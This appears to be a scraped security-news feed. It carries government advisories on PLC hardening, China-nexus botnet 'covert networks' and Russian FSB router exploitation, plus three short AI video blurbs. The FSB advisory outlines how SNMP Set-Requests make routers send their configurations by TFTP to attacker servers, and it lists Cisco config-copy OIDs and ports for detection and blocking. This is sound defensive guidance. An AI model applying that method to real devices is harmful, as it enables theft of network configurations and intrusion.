    • (New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).
  • (New, July 22, 2026) Strictly control network access to PLC devices.
    • Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.
  • For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s2 System Security Design Guidelines for manufacturer’s instructions.)
    • (New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.
  • For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

  • (New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.
    • If restoring from backups, verify the backup does not contain malicious logic before deployment.
    • Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.
  • (New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
  • (New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
  • Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
  • Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
  • If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.
    • A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
    • Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.
  • Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
  • Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
  • Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
  • Monitor the content of network traffic for the following:
    • Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
    • Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.
  • (New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

  • Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers

Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 

Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

  • Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
  • Do not charge additional fees for basic security features needed to operate the product securely.
  • Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.

Resources

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

  • Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 
    • Date, time, and location of the incident;
    • Type of activity;
    • Number of people affected;
    • Type of equipment used for the activity; and
    • Name of the submitting company or organization, and a designated point of contact.
  • For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
  • Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
  • Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
  • Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  • Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

Version History

April 7, 2026: Initial version.

July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.

Notes

1Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.

2 See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.

]]> <![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]> https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ Sat, 25 Jul 2026 09:10:14 +0200 🕵️ Sicherheitslücken tsecurity.de

Defending against china-nexus covert networks of compromised devices

executive summary

Defending against China-nexus covert networks of compromised devices 

Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 

Summary

With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

  • Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • Germany Federal Office for the Protection of the Constitution -   Bundesamt fĂźr Verfassungsschutz (BfV)
  • Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
  • Germany Federal Office for Information Security - Bundesamt fĂźr Sicherheit in der Informationstechnik (BSI)
  • Japan National Cybersecurity Office (NCO) - 国家サイバー統括室
  • Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
  • Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Spain National Cryptologic Centre – Centro CriptolĂłgico Nacional (CCN)
  • Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Federal Bureau of Investigation (FBI)
  • United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 

Introduction  

Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 

Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 

The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  

This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.

Covert Networks 

Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 

Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 

Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 

The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 

Typical Network Topology

The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 

However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 

A diagram illustrating the basic setup of a covert network.
A diagram illustrating the basic setup of a covert network.

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 

Protective Advice 

Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  

The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 

Further guidance for all organizations facing cyber security threats is available on the NCSC website. 

This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.

All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

  • Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
  • Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
    • Would you expect connections from consumer broadband ranges?
  • Leverage available dynamic threat feeds which include covert network infrastructure.
  • Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 

Larger or more at-risk organizations

Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

  • Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
  • Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
  • Implement zero trust policies for connections.
  • Enforce machine certificates for Secure Sockets Layer (SSL) connections.
  • Reduce the internet-facing presence of the IT estate.
  • Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 

Largest or most at-risk organizations 

If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

  • Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
  • Track and map covert networks reported by industry or government by looking at banners and certificates.
  • Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
  • Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  

MITRE ATT&CKŽ 

This advisory has been compiled with respect to the MITRE ATT&CKŽ framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 

Tactic 

ID 

Technique 

Procedure 

Resource Development 

T1584.005 

Compromise Infrastructure: Botnet 

Botnets are used as core components of covert networks 

Resource Development 

T1584.008 

Compromise Infrastructure: Network Devices 

Devices are compromised and added to botnets 

Resource Development 

T1583.003 

Acquire Infrastructure: Virtual Private Server 

Virtual private servers (VPS) are used in covert networks, typically as on-ramps 

Command and Control 

T1090.003 

Proxy: Multi-hop Proxy 

Used by China-nexus cyber actors to route traffic 

 Appendix: Cyber Security Best Practices 

In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Disclaimer  

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  

All material is UK Crown Copyright Š 

]]> <![CDATA[10 Secret Bard Tips And Tricks (How To Use Google Bard)(Google Bard Tutorial)]]> https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/ https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/ Sat, 25 Jul 2026 09:05:25 +0200 🎥 Videos tsecurity.de Author: TheAIGRID - Bewertung: 486x - Views:35021

How To Use Google Bard)(Google Bard Tutorial)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.

All Bard Features
- Bard Can Make Charts - https://www.reddit.com/r/GoogleBard/comments/123s0yt/wow_google_bard_can_make_a_chart_bing_ai_used_to/
- Bard makes very big mistakes https://twitter.com/0xgaut/status/1638287359098716160
- Bard Cannot Help With Coding - https://twitter.com/iamnafets/status/1638232186649477120/photo/1
- Bard Actually has access to recent events
- Bard Cant Access Articles (Sometimes
- Bard Can Rewrite content
- Rewording Questions Helps https://www.reddit.com/r/GoogleBard/comments/11xoaw7/bard_can_actually_answer_code_questions_it_just/
- Bard Can write stories
- Bard is a confusing mix between ChatGPT + Bing
- Bard does have shorter answers
- Bard is quicker

Was there anything we missed?

(For Business Enquiries) contact@theaigrid.com

#LLM #Largelanguagemodel #chatgpt
#AI
#ArtificialIntelligence
#MachineLearning
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#NeuralNetworks
#Robotics
#DataScience
#IntelligentSystems
#Automation
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]]> <![CDATA[Microsoft's VISUALChatGPT Takes the Industry By STORM! (NOW UNVEILED!)]]> https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/ https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/ Sat, 25 Jul 2026 09:05:22 +0200 🎥 Videos tsecurity.de Author: TheAIGRID - Bewertung: 2436x - Views:330281

Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.

Was there anything we missed?

(For Business Enquiries) contact@theaigrid.com

#LLM #Largelanguagemodel #chatgpt
#AI
#ArtificialIntelligence
#MachineLearning
#DeepLearning
#NeuralNetworks
#Robotics
#DataScience
#IntelligentSystems
#Automation
#TechInnovation

]]> <![CDATA[Get Ready for 15 SHOCKING Changes After the Singularity (AGI IS NEAR!)]]> https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/ https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/ Sat, 25 Jul 2026 09:05:21 +0200 🎥 Videos tsecurity.de Author: TheAIGRID - Bewertung: 2476x - Views:151461

15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.

]]> <![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]> https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/ https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/ Sat, 25 Jul 2026 08:51:21 +0200 🕵️ Sicherheitslücken tsecurity.de Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors

Executive summary

Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 

This CSA is being released by the following authoring and co-sealing agencies: 

  • United States National Security Agency (NSA)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Federal Bureau of Investigation (FBI)
  • United States Department of Defense Cyber Crime Center (DC3)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1 
  • Danish Defence Intelligence Service (DDIS)2 
  • Estonian Foreign Intelligence Service (EFIS)3 
  • Estonian Information System Authority (RIA)4
  • Finnish Defence Intelligence (FDI)5
  • Finnish Security and Intelligence Service (SUPO)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8 
  • Italian Internal Intelligence and Security Agency (AISI)9
  • The Military Counterintelligence Service of Poland (SKW)10 
  • Sweden National Cyber Security Centre (NCSC-SE)11 

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.
Figure 1: FSB Center 16 activity and recommended mitigation actions

Download the PDF version of this report:

Cybersecurity industry tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

  • Berserk Bear 
  • Energetic Bear
  • Crouching Yeti 
  • Dragonfly
  • Ghost Blizzard
  • Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Targeting details

Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

  • Communications,
  • Defense Industrial Base,
  • Energy,
  • Financial Services,
  • Government Services and Facilities, especially organizations at the state and local level, and
  • Healthcare and Public Health.

Technical details

Note: This advisory uses the MITRE ATT&CKÂŽ Matrix for Enterprise12 framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFENDTM version 1.4.0.

The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

  • Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
  • Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.

Mitigation actions

The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

  • Disable Cisco Smart Install on all devices [D3-ACH]. [2]
  • Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]
    • Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
    • SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].
  • Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].
    • Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
    • Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
    •  Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]
  • Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].
    • Example OIDs include:
      • 1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
      • 1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 
  • Restrict management protocols [D3-NTF].
    • Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
    • On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
      • User Datagram Protocol (UDP) port 69 (TFTP) 
      • Transmission Control Protocol (TCP) port 4786 (SMI)
      • UDP ports 161 and 162 (SNMP)
      • TCP/UDP ports 10161 and 10162 (SNMPv3)
  • Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 
    • Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].
      • U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
      • U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources

United States:

Canada:

Works cited

[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820

[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF

[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF

[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF

[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF

Footnotes

1  Národní úřad pro kybernetickou a informační bezpečnost

2  Forsvarets Efterretningstjeneste

3 Välisluureamet

4 Riigi InfosĂźsteem Amet

5 Sotilastiedustelu

6 Suojelupoliisi

7 Agence nationale de la sécurité des systèmes d’information

8 Agenzia Informazioni e Sicurezza Esterna

9 Agenzia Informazioni e Sicurezza Interna

10 Służba Kontrwywiadu Wojskowego

11 Nationellt Cybersäkerhetscenter

12 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.

13 CVE-2008-4128 only affects end-of-life Cisco devices.

Disclaimer of Endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

  • National Security Agency (NSA)
  • Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
    •  U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 
  • United States Department of Defense Cyber Crime Center (DC3)  
    • Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    • Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
    •  Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

  • Australian Signals Directorate
    • Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

